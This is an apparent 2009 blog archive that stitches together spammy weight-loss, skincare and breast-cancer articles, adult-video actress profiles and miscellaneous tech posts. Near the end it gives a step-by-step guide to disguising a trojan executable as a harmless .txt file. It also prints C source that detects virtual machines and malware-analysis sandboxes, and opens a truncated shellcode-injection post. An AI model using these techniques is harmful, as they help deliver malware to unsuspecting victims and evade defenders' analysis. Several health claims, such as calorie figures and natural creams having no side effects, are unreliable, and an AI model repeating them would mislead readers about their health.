2009年1月17日土曜日

(Weight-Loss )High Calorie Foods That Lead to Weight Gain

Calories should come from healthy foods and not from junk diet. Foods excessive with the following should be avoided.
-Saturated fat -Calories -Cholesterol -Sodium
The following items should be avoided:
-Alcoholic drink: Limited consumption of these drinks reduces risk for hypertension and high blood pressure. But excessive use can sabotage your weight loss regime. Alcohol is responsible for weight gain. Thus keep yourself away from alcohol.
-Meat: Meat as an animal product is loaded with a lot of saturated fat. It is also rich in cholesterol.
-Fast food: Fast foods, such as Pizza, burger, fries, etc. are rich source of calories and sodium. Thus these should be avoided for a healthier life.
-Egg yolk: One egg yolk gives you 80 calories and 215 mg cholesterol. However egg white is a rich source of protein.
-Ice creams: Ice creams are strictly restricted if you want to lose weight. These contain nothing but fat.
-Potato chips: These contain too much fat and salt. 100gm of potato chips can give you 1000 to 1200 calories. Salt is also a rich source of sodium.
-Also chocolate, direct sugar, cake, donut, nut, and pie should not be consumed.
In addition to avoiding above foods you need to
-Eat 5 to 6 light meals to keep metabolic rate high throughout the day otherwise you will be gaining weight as a result of slower metabolism -Eat foods rich in nutrients else you will be losing muscle not fat
It is advisable to consume adequate calories from healthy sources. Tons of vegetables, fruits, and whole grains should be taken. Protein, carbohydrate, and fat are important nutrients for healthy growth. These should be consumed in moderation.
Oprah is getting slimmer and healthier, Now its your turn to get the Dynamic Duo!

Looking For an Emotional Freedom Technique?

How would you like to feel as if you are controlling your destiny, well there are ways to solve this emotional dilemma that affects us all. You see, when you feel trapped or confined without control, your emotional psyche suffers. But there are ways to combat this problem, and before I explain a technique that will assist you, I want you to realize you are not alone.
More and more in our society we are destroying individuality for the best interests of the whole or the mob, sometimes majority rule is best for all, sometimes it turns out not to be as each person has to give up a little bit of self. However, while all this is going on around us, there are ways to maintain your emotional dignity and boost your positive psyche. For instance, try this very good mind, brain exercise:
Close your eyes and look while your eyes are closed, leave a dim light on. As you see the light through your eye lids you will see shapes. Let your mind see things just like looking at a ceiling, your mind will use frame bursting and it will see scenes, shapes, people, things you are familiar with, eventually they will come at you faster and faster and you can visualize whatever you want or whatever comes to mind, eventually if you are totally relaxed you will enter lucid dreaming at a Delta or Theta State.
You are not going to read any of this in any books, it's a secret technique. You are going to be shocked how well all this works. Indeed, I've been doing it over the years, now my mind does it when I sleep - I actually dream I am doing it, so I guess I am? Your mind is pretty powerful, don't box it in - let it fly. Think on this.

A Wonderful Body Bath

Doesn't everyone enjoy a great body bath? It's relaxing, enjoyable, and even good for you. You may even feel more beautiful after a bath! It's kind of like a massage at a spa - only quicker and less expensive.
First, and not immediately before your bath, make sure your bath is clean and free of clutter. You don't want to think about dirt and mess when you are trying to relax! Create an environment that reminds your of beauty, tranquility, and calm.
Make sure to collect all the supplies you will need for before, during, and after your body bath. Get your towels, candles, essential oils, music, soap, and sleeping clothes together in the bathroom. Nothing spoils a relaxing bath like having to run around during or after it to get something you've forgotten.
Prepare your bath water to be 100 degrees Fahrenheit / 38 degrees Celsius. Some studies have shown that this temperature relaxes your muscles and stimulates calming chemicals in your brain.
Essential Oils
For additional relaxation effects, consider adding natural essential oils such as:
- Lavender - Used by many people across many generations, lavender is valued for both it fragrance and beauty. It is generally considered a great essential oil for a body bath, from age 2 to 102!
- Bergamot - With a fresh smell, bergamot creates a relaxed and happy feeling. It has a citrus smell with spicy and floral qualities. Bergamot has been used to treat depression, stress, tension, fear, and skin infections.
- Cedarwood - Well known for its known for its tranquilizing and soothing effects, Cedarwood boasts a rich woody spicy aroma. It is terrific for providing a sense of well being and relaxation.
- Patchouli - Traditionally used in the East for both medicinal and aromatic purposes, Patchouli originated from Malaysia is used frequently in perfume and cosmetic applications. Patchouli is a 'love it or hate it' type of oil, so smell it in the store or borrow a bottle from a friend before investing in a bottle for yourself.
Normally a total of 8-10 drops of the oils makes for a pleasing experience.
There are many sources of essential oils, including health stores and the internet. If you absolutely can't get essential oil, consider using a bubble bath - they are widely available in grocery and other general stores. Watch out for dangerous chemicals and fake perfume smells. Look for a product that is as natural as possible - it will you will feel more beautiful, attractive, and healthy.
Other Tips for Your Bath
Turn the lights down or off and light a candle to provide a soft glow to help you relax. Enjoy, but don't stay in for more than 30 minutes - you could fall asleep. After enjoying your body bath, put on your night clothes and slip into bed for a relaxing night's sleep.
While soaking, make sure you breathe deeply. Breathe slowing in your nose, filling your chest with air. Breathe out through your mouth. As a test to see if you are breathing deeply and properly, put one hand on your chest and the other hand on your stomach - your chest should not move. Remeber to relax.
Consider adding some extras to make your body bath especially special:
- Add a pillow: Put a kitchen trash bag over it to keep it dry and place it inside a normal pillowcase
- Play some soft music: Select your favorite relaxing music and set it up to really set the mood
- Treat yourself to a face mask
- Select a special, all-natural soap
- Put on some natural lotion with natural perfume smells and essential oils
Above all, enjoy the relaxation and health benefits of the bath for your body!

水野あかり(Akari Mizuno)-tokyo hot n0398-东京热

名字: 水野あかり(Akari Mizuno)
身高:166cm
三围:B85(E),W58,H86
星座:山羊座
血型:B型
出身地:神奈川県
水野あかり(Akari Mizuno)
水野あかり(Akari Mizuno)
Tokyo Hot(东京热)作品:
最新东京热 Tokyo Hot n0398 水野Akari 美腳空姐中出感染重篤汁

三原理恵-日本AV女优-模特

名字:三原理恵
生年月日:1985年01月10日
出身地:東京都
身高:165cm
体重:47kg
血型:A型
三围:B83 W59 H86
趣味:ドライブ
特技:カラオケ


三原理恵
三原理恵

2009年1月16日金曜日

How to Have Healthy Aging Skin Care

Are you getting exhausted with all the skin problems? Wrinkles, fine lines, age spots, blemishes are making you feel embarrassed in front of others? Well sit back and relax because I am going to tell you how to have healthy aging skin care that really can help you out.
Now why is this word "healthy" coming out with aging skin care? The answer is pretty much straight forward. Now a days, there are many anti aging skin creams available at the market and many of them are stuffed with chemicals.
Now applying such creams on your face can be a real dangerous thing to do since most of these chemical ingredients are very harsh for your skin and can cause serious side effects including irritation, redness, itching, rash, allergy etc.
At the same time since these creams are absorbed directly inside your body so your internal organs can be affected badly by these synthetic elements. The consequences sometimes can be so devastating that it can end up involving cancer.
Now you know why it is so important to have healthy aging skin care. The good thing is beside all these chemical products, there are some real good methods which can help you to get safe treatment for your skin.
First of all, healthy skin care needs healthy food. So try to avoid junk food and go for fresh green vegetables and fruits. Have foodstuff that are rich of vitamins, anti oxidant, fatty acid.
If you are addicted to alcohol or smoking or both of them then it is a good time to get rid of them before it is too late. It is found that both alcohol and cigarettes lead to the growth of free radicals which causes wrinkles.
Stress free life is not only necessary for your healthy living but for your skin as well. It is a very common thing you would notice that those who face excess stress in their career does intend to have wrinkles and other aging signs.
Many of us have a tendency of becoming so busy that we become quite irregular about sleep. But having enough sleep everyday is very much necessary for a healthy skin. "Beauty sleep" does mean a lot doesn't it?
When we grow older our blood circulation slows down which can cause skin damages. To avoid this problem you need to have regular exercise. It helps a lot to make sure that your blood circulation remains normal and thus provides you the safety from skin aging.
Sun light is one of the biggest elements that is responsible for wrinkles. Especially UV ray causes free growth of radicals which is not a good thing for your skin.
When it comes to going for an anti aging skin cream, the natural products are the ones that should be your first choice. Remember, they are organic so are easily absorbed by your body and has no side effects. The natural ingredients go deep inside and work in the root of the cause that is responsible for the skin problems.
So using natural skin care cream and having a controlled life style can make all the difference for you. So after going through this article you know the ways of how to have healthy aging skin care.

Skincare Cosmetics

If you are wondering about the most profitable and growing industries of world in the present age, Skincare products definitely will be on the top of your list. Well yes, unfortunately the fact is skincare cosmetics have become a very strong source of making money for many big companies.
Every year, there are millions of people who are spending a huge amount of money for skincare purposes. Buying all those skincare creams and lotions may give you a hope before using but at the end of the day do they actually help you to get rid of the skin problem for which you actually bought it?
Well the answer is NO. In most cases, these ever promising "best" products do not deliver the service they claim to be capable of. It is very much proven that many of the brand name companies are using cheap harsh chemical ingredients for skin care creams which are not good for your skin.
Many of these ingredients cause side effects like irritation, redness, itching, dryness, pimples, rash etc.
Most of these skincare product manufacturers have went away from the ethical issues that they are suppose to provide quality and safe products for people who are desperately looking for assistance for their skin problems.
Instead of making the safe and effective skin creams, the companies are getting more interested to cut the production cost and make more money by selling all these products. And that's why you will find many cheap synthetic ingredients in your cream which has nothing to do with skin treatment.
All those dazzling advertisements that you can see in the TV commercials will give you a hope alright but the basic reason behind it is to make sure that the companies are digging up all the profits and get your money in their pockets.
So you need to educate yourself about the things that are necessary for your skin care. Have your own research about ingredients which your skin actually needs and those you need to avoid.
It is proven that the natural skin acre creams are the ones which can provide you the best treatment and they are totally free from side effects.
Functional Keratin, Vitamin E, Grape seed oil, Avocado extract, Olive oil, Fish oil, Coenzyme Q10, Manuka honey, Wakme kelp etc are the organic ingredients that you need you skin cream to have.
So when it comes to choosing a skin care cosmetics, make sure that the one you are using contains the natural ingredients and not even a mixture of natural and synthetic elements.

2009年1月15日木曜日

藤井シェリー(藤井sherry/ふじいしぇりー) -日本AV女优

名字:藤井シェリー(藤井sherry/ふじいしぇりー)
生日:02.18
年龄:1990(18歲)
三围 : T158cm B86cm(Dカップ) W58cm H86cm
出身地 : 東京都
血型 : AB
所属:K.M.P

藤井シェリー(藤井sherry/ふじいしぇりー) -日本AV女优

How Often Should You Do a Self-Exam?

One of the most prominent cases of cancer in women, which we hear today, is breast cancer. Cases of breast cancer have increased at an alarming rate and therefore, it is very important that we know the exact signs and symptoms of breast cancer. Women are the worst victims of this breast cancer, but men are also reported to suffer from this deadly disease.
Breast cancer can be cured in cases when women catch that they are having breast cancer in very early stages when the cancer is unable to reach the lymph nodes. In fact, 80% of all the women suffering from breast cancer are fully cured and they enjoy life as a normal person provided they are treated in the early stages of breast cancer.
Catch the Disease at an Early Stage
The best way to survive from cases of breast cancer is to catch it early on. For this, a woman should regularly perform breast self-exam of her breasts. This helps in finding and detecting breast cancer in the early stages ensuring that with proper treatment, it can be cured. A woman should perform self-exam of her breast regularly, so that she knows how her breasts normally feel. She can easily locate, if there is any sort of change in the anatomy of her breasts in future. This helps in improving the chances for her survival and eliminating the risks of breast cancer.
Consult Your Physician Immediately
As soon as you notices change in your breasts by performing self-exam, you should immediately contact your general physician or healthcare provider. Although most lumps or breast changes are found to be non-cancerous, such preventive measures can help you in determining the exact reason behind the abnormality of your breasts.
Fix a Time for Self-Exam
Every woman should conduct regular self-exam of her breasts. It is recommended that she does it every month and particularly after a few days before her period ends. This is because during that particular time, a woman's breast is found to be less swollen or tender. Doctors also say that a woman should perform self-exam of her breast at the same time of every month, so that she notices exact changes.
Symptoms to Watch Out For
While performing a self-exam of your breasts, you should immediately contact your doctor if you notice any sort of abnormal lump. Again, you should consult them if any of your breasts shows some other symptoms like nipple retraction or skin irritation, skin dimpling & skin irritation, watery discharge from the nipple and redness on the breast skin or nipple.
Benefits of Regular Self-Exam
Regular self-exam ensures that a breast cancer is found early and there are more treatment choices for the affected person. Woman having breast cancer in the early stages have a better chance of recovery, as the cancer is unable to affect the lymph nodes.
It is very important that every woman perform regular self-exam of her breasts, so that the breast cancer can be detected and treated as early as possible.

How to Get Ready For Your Mammogram

A mammogram is one of the safest ways that is used to check if there is any problem with the breast of a woman. It is actually an x-ray of the breasts, as it involves in using a special and very low dose x-ray machine taking pictures of both breasts.
Effective Method of Preventing Cancer
Mammogram is an effective way of breast cancer prevention, as it is the most reliable procedure to detect early stages of breast cancer. However, there are some limitations of mammogram. Many cancers may not be detected by mammograms. Such breast cancers can be detected by breast self-exam. This article will guide you in getting ready for your mammogram.
What You Should Watch Out For?
Firstly, you should check the place where you are going to have your mammogram, so that you get to know about any special instructions, which you must follow before you arrive there. You should make the appointment for your mammogram for at least one week after the completion of your period. This is because your breast generally hurt less during this time. You should make sure that you tell your mammography facility, if you have ever got any type of breast implants.
Things to Remember Before Visiting Mammogram Facility
It is better that you wear a shirt preferably with shorts, skirt or pants. This helps you to undress from the waist up, thus leaving your pants, skirt or shorts on while you are getting your mammogram. It is highly advised that do not use any sort of deodorant, lotion, powder or lotion on your breasts or under your arms on the day you are having your mammogram.
Using these things may result in shadows on your mammogram, as they contain small aluminium particles. You can use cornstarch in place of talcum powder or deodorant, as it does not interfere with the x-ray image. You should not use any sort skin lotions on your breasts, as it can make them slippery. Hence, it will result in a movement during the process and a blurred image may be produced.
What Actually Happens During the Diagnosis Process?
After reaching the clinic, you should undress up to your waist. Try wearing clothes that can be easily removed and has loose fittings. Do not wear a bra on the day. Do not forget to take a hairbrush, so that you can tidy up at the time of redressing. After undressing, you will be asked to put on the hospital gown, opening to the front. The technician will help you in positioning yourself in front of the mammogram machine while standing. While taking the mammogram, your technician will rest each of your breasts on a metal plate, arranging maximum of the breast tissue between the top compression plate and the bottom plate. Your breasts will then be imaged and compressed for various lateral and vertical images.
It is recommended that women, especially those belonging to the upper age limit of 40 years or more, have a mammogram of their breasts done every year. This helps in early detection of breast cancer in one's breast and ensures proper treatment, which can even cure cancer.

What is an ''Early Stage'' Breast Cancer?

An "Early Stage" breast cancer is sometimes referred as Stage 1 breast cancer. In such cases, the affected region is less than 2-2.5 centimetres in diameter. However, cancer does not spread inside the tissue of the breast. In fact, among all the women detected for breast cancer in the U.S, 63% of them suffer from "Early Stage" Breast Cancer, as it is still localized to the tissue of the breast.
Today, Breast Cancer is considered to be one of the most deadly and emotional types of cancers occurring in women. However, it should be kept in mind that it is not only women, who are at a risk of having breast cancer. Men can also have such type of cancers, but most patients are female.
Early detection increases chances of survival
If the breast cancer is an early stage one and it is properly detected and treated, the survival rate of that patient increases to a large extent. The best trick to fight breast cancer is to catch it early on and generally women can detect it by finding a typical lump in any one of their breasts. Women should immediately check out in such cases but they should not worry, as all lumps are not cancers.
Early stage breast cancer cannot always be cured, even though cancerous cells are unable to reach the lymph nodes. Women, who catch early stage breast cancer, gets treated at that point and many of them are able to enjoy life in a normal lifestyle for more than ten years. It is highly recommended for every woman to check her breasts regularly to be on the safe side, so that possible cases of breast cancers can be detected early. With proper treatment, women can enjoy high survival rates.
Symptoms of Early Stage Cancer
An early stage breast cancer can be detected on the basis of various symptoms. Some of them are unexpected abnormal changes in the anatomy & the size of the breast, appearance of the skin of the breast becomes dimpled & puckered, sudden unexpected changes in the size and shape of the nipple like the changing position and nipple being inverted. Other symptoms include abnormal discharge from the nipple, development of rash in the nipple, continuous pain in the region of armpit & breast, thickening or formation of the lump in the armpit & breast and swelling of the collarbone region & armpit.
Treatment following the detection
Any of the above symptoms determine an early stage breast cancer and any woman having such symptoms should immediately contact her general physician. Doctors examine the patient properly and if necessary, can refer them to a breast clinic for more examinations and mammogram. Upon detection of a lump, the cancerous cells can be extracted with the help of a delicate needle. A biopsy should also be done to ascertain, if the affected area or lump is malignant.
Every woman should know how to do self-examination of her beasts, so that she can know her breasts easier and recognise abnormal changes on them.

2009年1月14日水曜日

百度今晚内分泌失调了

最近都在嚷嚷着整垮低俗网站吗?很多有过低俗经历和经验的老手一起研究,整出了很多低俗网站!首当其害当属那个牛逼哄哄的叫股沟的大哥和那个风骚的百毒小妹了!



那个叫百毒的也赤裸裸的拉上上了T台,唰唰刷无数的双眼色迷迷的向百毒投去~害的百毒高潮迭起内分泌失调了



今晚就很不正常



baidu.com登陆不了

www.baidu.com登陆正常

http://tieba.baidu.com/登陆不了

http://news.baidu.com/登陆正常

http://zhidao.baidu.com/登陆正常

http://image.baidu.com/登陆正常

http://mp3.baidu.com/登陆正常

http://video.baidu.com/登陆正常

可看出,不仅面部(baidu.com)受到了不小的刺激,而且还被折腾的受了内伤(tieba.baidu.com),还好没有交叉感染,否则的了“矮子” 就完了~



登陆不了的显示下面文字:

建设中

您想要查看的站点当前没有默认页。可能正在对它进行升级和配置操作。
请稍后再访问此站点。如果您仍然遇到问题,请与网站的管理员联系。

如果您是网站的管理员,并且认为您是由于错误才收到此消息,请参阅 IIS 帮助中的"启用和禁用动态内容"。
要访问 IIS 帮助

  1. 单击开始,然后单击运行

  2. 打开文本框中,键入 inetmgr。将出现 IIS 管理器。

  3. 帮助菜单,单击帮助主题

  4. 单击Internet 信息服务

截图如下







Bookmark and Share

AddThis Feed Button



最近

    最近,一直在网上待着,却没有写一些东西。个人的感觉是有些累,各个方面。所以说,更多的是在想一些东西,然而一直没有写下来。同学陆陆续续的给我打来电话,有的已经到家了,有的还在学校,问我这半年过的怎样?我支支吾吾半天没能说清楚。半年来我踏入社会是一种体验和勇气。他们很多不可思议,问我怎么会干呢个!在和他们的通话中也有很多同学,抱怨大学生活不像自己幻想的那样好,不知不觉半年就过来了......

    一直以来,我最喜欢问别人的一个问题是:“你小时候梦想是什么?”我从初中到高中问过很多很多的人。当谈道他们小时候想的梦想时,我忘不了每个人脸上流露出来的那种很自热而然的微笑。有的人想当老师,原因是可以管好多小孩;有的想当医生,可以给别人打针;也有的想当警察,抓小偷。几乎每一个人小时候都有自己的梦想,我小时候的梦想是当一名科学家,之所以有这样的想法是这样的:一年级的时候捧着自然课本想,要是站在月球上看地球是什么样子啊?心里一直想只有科学家才能做得到。这个梦想可能不会在实现,但他给足了我动力在小时候了解了更多的科普知识!

    自己也逐渐的发现一个问题,慢慢的长大了,一个人的梦想反而会变得模糊起来!我想大多数人会这样。大部分高中生把自己的理想都定在考上一个大学!其实,我现在还在discover自己的梦想和目标!

    很多同学上了大学不知所措,我想可能就是discover这个环节还没有处理好吧,自己要做什么,自己适合做什么。确实,大学的生活和高中生活有很大的反差,很多同学不能自律,而导致荒废一些时间,在大学更多新鲜的东西会去接触。我在这里想告诉那些还没找到方向的同学们,你至少要确定自己毕业后工作还是考研,如果你选择工作的话,一定要在大一的时候就做好准备,不要等到大三,跟随大众,总之记住我这句话吧,如果你想考研的话,不要想太多了,好好学吧!个人建议:不要去学生会~~

    OK就先扯到这吧!





Bookmark and Share

AddThis Feed Button





2009年1月13日火曜日

Top 7 Foods That Help to Lose Weight Fast & Easily Now

Here are 10 foods that will help you lose weight and boost up or increase your metabolism. I hope this will have you nodding your head in agreement, and there may be a few that will probably be new to you as well.
1. Drink enough water - Studies indicate that drinking water will actually speed up your weight loss. By drinking approximately 17 ounces of water, researchers in Germany found that their subjects increased their metabolic rate by 30 percent. Drink all throughout the day and not just one at a time, and start your day by having a big glass of water.
2. Green Tea - This is a trendy drink among weight-conscious celebrities, and it also help prevent heart diseases and have anti-cancer properties.
3. Soup - Having a bowl of soup as an appetizer or a snack will burn fat faster. It is a super appetite suppressant because it's consists of hunger-satisfying combination of solids and liquids.
4. Grapefruit - This have unique chemical properties that reduces insulin levels, which promotes weight loss. Because of its soft peel, it is a nice alternative to orange or apple.
5. Pears & apples - From research, overweight women who ate the equivalent of three small pears or apples a day lost more weight on a low-calorie diet. They also ate fewer calories overall.
6. Broccoli - Studies have shown that calcium links to weight loss, and broccoli is high in calcium & vitamin C. This weight loss superfood not only fights fat but contains powerful phytochemicals that protect against diseases and boost your immunity.
7. Oatmeal - This is a good source of cholesterol fighting, fat soluble fiber that will keep you full and provide you with energy. Also be sure that instead of instant oatmeal, choose steel cut or rolled oats to get full dose of vitamins, minerals & fiber.
Now you want to have more energy, be Healthier, look Younger, lose weight, and cleanse your body, right?

Can you get rid of your Acne?

Acne can be brought on by a variety of things such as hormone troubles, menstrual periods, birth control pills, greasy hair, certain skin products, and can even be inherited from one family member to another. Also, some medications can cause the skin to break out.
As acne will affect both female and males, the males tend to have the oiliest skin. There are a lot of successful treatments out there to get rid of Acne. Acne is treated most effectively if you begin treatment from the very start. Some of these treatments you may not recognize, but they used to be all over the television and are known as Neutrogena, Pro-active and Clearasil.
A lot of treatments have to be used long term in order for them to work. Even though the problem gets annoying and the treatment seems to be slow, be sure and follow the direction of your physician. There are prescription medications that doctors can give you for treatment.
They will prevent oil being backed up in the pores, cracking skin, and will get rid of the overgrowth of bacteria. Just in case none of this works, there is a product called Accutane that can be used. You will probably need to sit down with your doctor or dermatologist to figure out which medication is right for you.
In order to prevent scarring of acne, do not squeeze or pinch affected area. This can force the bacteria further into the skin making things worse. You will notice more swelling and then the scarring will occur. Also, try not to rub on the affected areas.
There are numerous amounts of treatments out there for you to try. What most people do not realize is that there are home remedies that are just as effective as prescription medication.
You don't have to be embarrassed anymore because of the way your skin looks. If you are ready to get your clear skin back, here is my.

小倉優(おぐらゆう/小仓优)-tokyo hot(东京热)-av女优

名字:小倉優(おぐらゆう/小仓优)
英文名:You Ogura
身高:156cm
三围:B86(E)/W58/H85
出身地:兵庫
星座:乙女座
血型:O型好
爱好:旅行
小倉優


小仓优
Tokyo Hot(东京热)作品:
東京熱 Tokyo Hot n0397 小倉優 巨乳アイドル孕怯輪姦本氣泣

2009年1月12日月曜日

英文版小白杨——雷焦了~~~!

最好缓冲完成再看,不然很卡。

http://www.tudou.com/programs/view/VhCQmSPH2ic

这个人很讨厌AV

黄色产物,如同洪水猛兽,毒害着年轻一代,这是多么不堪的现状!当然,我也看过,每当夜深人静的时候,我也会打开电脑,点击网页,寻找——下载。
但我看这些片子,是批判的看,是仇恨的看,是带着一个有良知的人内心深处那种愤慨的看!我要看一看,曰本色情产业是怎样把一个个如花似玉的妙龄女子,变成色情女星的!
而至于那些什么武腾兰、吉泽明步、苍井空、松岛枫、神谷姬、小泽玛莉亚、高树玛丽亚、山本梓、樱树露衣、濑户由衣、树麻里子、星野光、白石瞳、忧木瞳、白石日和、相田桃、浅仓舞、小林瞳、夕树舞子、美穗由纪、小室友里、黑木香、朝冈实岭、美里真里、饭岛爱、北原梨奈、秋元友美、川合里美、细川百合子、麻生早苗、松阪季实子、川岛和津实、小泽奈美、叶山丽子、金泽文子、凉木桃香、小泽圆、铃木麻奈美、白鸟智香子、中谷香子、市川香织、蜷川香子、上杉美香子、吉田美香子、长谷香子、岬崎香子、立花里子、上原多香子、石川施恩惠、大尺右香、南波杏……
我更是一个都不认识!根本都没有听说过!

2009年1月11日日曜日

免费的国外WordPress空间



PenangHosting is a center for free hosting service that provides premium free web hosting including a subdomain, free domain name, images hosting, blog hosting, file hosting, webmail and so much more for free without forced advertisements.

2 step easy setup.
Based on WordPress
3000MB bandwith.
Subdomain.
Instant activation.

我申请的:
Your account was created successfully!

Go to your site now! http://baidu.penanghosting.com



Reminder

Contents of website must not for:

1. Hosting base webiste like file upload, game etc.
2. Illegal, copyright, patent and trademark like video, graphics, an audio file, or computer software etc..
3. Sex orientation site.
5. Install any viruses, worms, malware, Trojan horses or other harmful and a spam.

VB Fusion_Visual Basic 6和Visual Basic.NET之间的转换




http://msdn.microsoft.com/zh-cn/library/ms364069.aspx

Make a .Txt Executable server[隐藏你的马为txt格式]

As you know a file name .EXE is a Executable file and can run a code.
this guide will teach you how to make a .TXT Executable that can run
any code you want..

STEP1

download TXT Icon pack: http://planet.nana.co.il/progroup/icon_txt.zip -
The pack comes with a 32bit & 16bit icons.

STEP2

Open a new file, Right click - New - Shortcut
Type the location of the item: "X:\WINDOWS\system32\cmd.exe /c file.txt" ("X"=Driver)
img
/http://planet.nana.co.il/progroup/pictures/step1_g2.JPG
and name it "readme.txt"
img
/http://planet.nana.co.il/progroup/pictures/step2_g2.JPG
STEP3

after creating the readme.txt file right click on it and choose - Properties
in the - "Start in" fill - "%currentdir%" , in the - "Run" choose - "Minimized".
img
/http://planet.nana.co.il/progroup/pictures/step3_g2.JPG

then change the icon with one of the TXT icons from the pack by right clicking the readme.txt file then - Properties - Change Icon...

STEP4: In order to execute a file you need one..
just change your Server/Virus extantion to .TXT and name it - "file.txt"

Now you have a .TXT Shortcut and .TXT Executable, when opening the txt shortcut it opens a command - "C:\WINDOWS\system32\cmd.exe /c test.txt" that executes the file you want.

STEP5: Now the readme.txt executes a command window, in order to hide it Right click on the "readme.txt" and choose - Properties - Layout and reduced the size on the window to height=1 and width=1.
Now change the window position to height=999 and width=999.
Now you got a .TXT Executable! you can try editing it and use some more tricks

Detect Vmware, VirtualPc, VirtualBox, Qemu, Anubis, Theat Ex

//-----------------------------------------------------------------------------
// Object: detect Vmware, VirtualBox, VirtualPc, Qemu, Anubis and Threat Expert by comparing virtual disk model description
//----------------------------------------------------------------------------

#include
#include
#include "Drive.h"

// Code was originally written by Lynn McGuire
// http://www.winsim.com/diskid32/winio/diskid32.cpp

// Virtual Harddisk Model Desciptions have to be in uppercase
PCHAR pVirtualDriveModelNames[] = {"VBOX HARDDRIVE",
"QEMU HARDDISK",
"VMWARE VIRTUAL IDE HARD DRIVE",
"VIRTUAL HD"};

//-----------------------------------------------------------------------------
// Name: GetFirstPhysicalDriveModelNames
// Object: get model name of the first found physical drive
// Parameters :
// in :
// out :
// return : model description on success or NULL
// caller have to free mem on success!
//-----------------------------------------------------------------------------
PSTR GetFirstPhysicalDriveModelNames()
{
HANDLE hDrive;
DWORD dwBytesReturned = 0;
DWORD dwCnt;
BYTE bIDInCmd = 0;
SENDCMDINPARAMS Scip;
BYTE pIDOutCmd[sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1];
PIDSECTOR pIdSector;
GETVERSIONOUTPARAMS VersionParams;
PSTR pszModel = malloc(sizeof(pIdSector->sModelNumber));

// Open first physical drive
hDrive = CreateFileA("\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDrive == INVALID_HANDLE_VALUE)
{
printf ("Unable to open physical drive 0, error code: 0x%lX\n", GetLastError ());
goto Error;
}

memset (&VersionParams, 0, sizeof(VersionParams));

// Get the version and co, of previousliy opened physical drive driver
if (!DeviceIoControl(hDrive,
DFP_GET_VERSION,
NULL,
0,
&VersionParams,
sizeof(VersionParams),
&dwBytesReturned,
NULL))
{
printf ("DFP_GET_VERSION failed error code: 0x%lX\n", GetLastError ());
goto Error;
}

// Is there bit map of IDE devices?
if (VersionParams.bIDEDeviceMap > 0)
{
// Get ID sector and decide if its a ATAPI or ATA disk
bIDInCmd = (VersionParams.bIDEDeviceMap & 0x10) ? IDE_ATAPI_IDENTIFY : IDE_ATA_IDENTIFY;

memset (&Scip, 0, sizeof(Scip));
memset (pIDOutCmd, 0, sizeof(pIDOutCmd));

// Set up data structures for IDENTIFY command
Scip.cBufferSize = IDENTIFY_BUFFER_SIZE;
Scip.irDriveRegs.bFeaturesReg = 0;
Scip.irDriveRegs.bSectorCountReg = 1;
Scip.irDriveRegs.bSectorNumberReg = 1;
Scip.irDriveRegs.bCylLowReg = 0;
Scip.irDriveRegs.bCylHighReg = 0;

// Compute the drive number
Scip.irDriveRegs.bDriveHeadReg = 0xA0 | (1 << 4);

// The command can either be IDE identify or ATAPI identify
Scip.irDriveRegs.bCommandReg = bIDInCmd;
Scip.bDriveNumber = 0;
Scip.cBufferSize = IDENTIFY_BUFFER_SIZE;

// Get drive data
if(!DeviceIoControl(hDrive,
DFP_RECEIVE_DRIVE_DATA,
(LPVOID) &Scip,
sizeof(SENDCMDINPARAMS) - 1,
(LPVOID) pIDOutCmd,
sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1,
&dwBytesReturned,
NULL))
{
printf ("DFP_RECEIVE_DRIVE_DATA failed error code: 0x%lX\n", GetLastError ());
goto Error;
}

// Point to IDSECTOR
pIdSector = (PIDSECTOR)((PSENDCMDOUTPARAMS)pIDOutCmd)->bBuffer;

// Exchange every two bytes of sModelNumber
for(dwCnt = 0; dwCnt < sizeof(pIdSector->sModelNumber); dwCnt+=2)
{
pszModel[dwCnt+1] = pIdSector->sModelNumber[dwCnt];
pszModel[dwCnt] = pIdSector->sModelNumber[dwCnt+1];
}

// Add ending
pszModel[dwCnt] = '\0';

return CharUpperA(pszModel);
}

Error:
free(pszModel);
if(hDrive)
CloseHandle(hDrive);
return NULL;
}

//-----------------------------------------------------------------------------
// Name: PrintSandboxed
// Object: print a message through CreateFile which will be analysed by the
// sandbox and will appear in the report file
// Parameters :
// in : PSTR pszMsg : print message
// out :
// return :
//-----------------------------------------------------------------------------
void PrintSandboxed(PSTR pszMsg)
{
HANDLE hFile;
hFile = CreateFileA(pszMsg, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

if(hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
}

int main()
{
DWORD dwCnt;
PSTR pszModel = GetFirstPhysicalDriveModelNames();

printf(pszModel);

// Compare each model name
for(dwCnt = 0; dwCnt < sizeof(pVirtualDriveModelNames)/sizeof(PSTR); ++dwCnt)
{
if(strstr(pszModel,pVirtualDriveModelNames[dwCnt]))
{
PrintSandboxed("Found virtual machine or emulator");
goto CleanUp;
}
}

PrintSandboxed("We are running on a real system");

CleanUp:

// GetFirstPhysicalDriveModelNames
free(pszModel);

return 0;
}

Google博客数据转换器发布

Google “解放数据”(Data Liberation)团队今天正式发布 Google Blog Converters 1.0,该开源工具可以让你在不同博客服务之间自由转移文章和评论数据。第一个版本提供了 Python 程序库及相关可执行脚本,用于相互转换 Blogger、LiveJournal、MovableType 和 WordPress 导出的各种数据文件格式。
全世界的博客们,Google 想要提醒你们,那是“你的博客,你的数据”。

Google “解放数据”(Data Liberation)团队今天正式发布 Google Blog Converters 1.0,该开源工具可以让你在不同博客服务之间自由转移文章和评论数据。第一个版本提供了 Python 程序库及相关可执行脚本,用于相互转换 Blogger、LiveJournal、MovableType 和 WordPress 导出的各种数据文件格式。

对于数据量较小(<1MB)的博客,可使用该项目提供的 Google App Engine 服务进行在线数据格式转换:

1. Blogger -> WordPress: http://blogger2wordpress.appspot.com/

2. WordPress -> Blogger: http://wordpress2blogger.appspot.com/

3. Livejournal -> Blogger: http://livejournal2blogger.appspot.com/

数据量较大的博客,则不妨自行下载源码(2.7 MB),运行相关脚本转换数据格式。

此前,Google Blogger 已推出了博客导入/导出功能,以便迁移、合并、备份博客数据,

[C] Shellcode injection

#include
#include
void InsertShellCode(char *szFileName,BYTE* ShellCode,int nCodeSize)
{
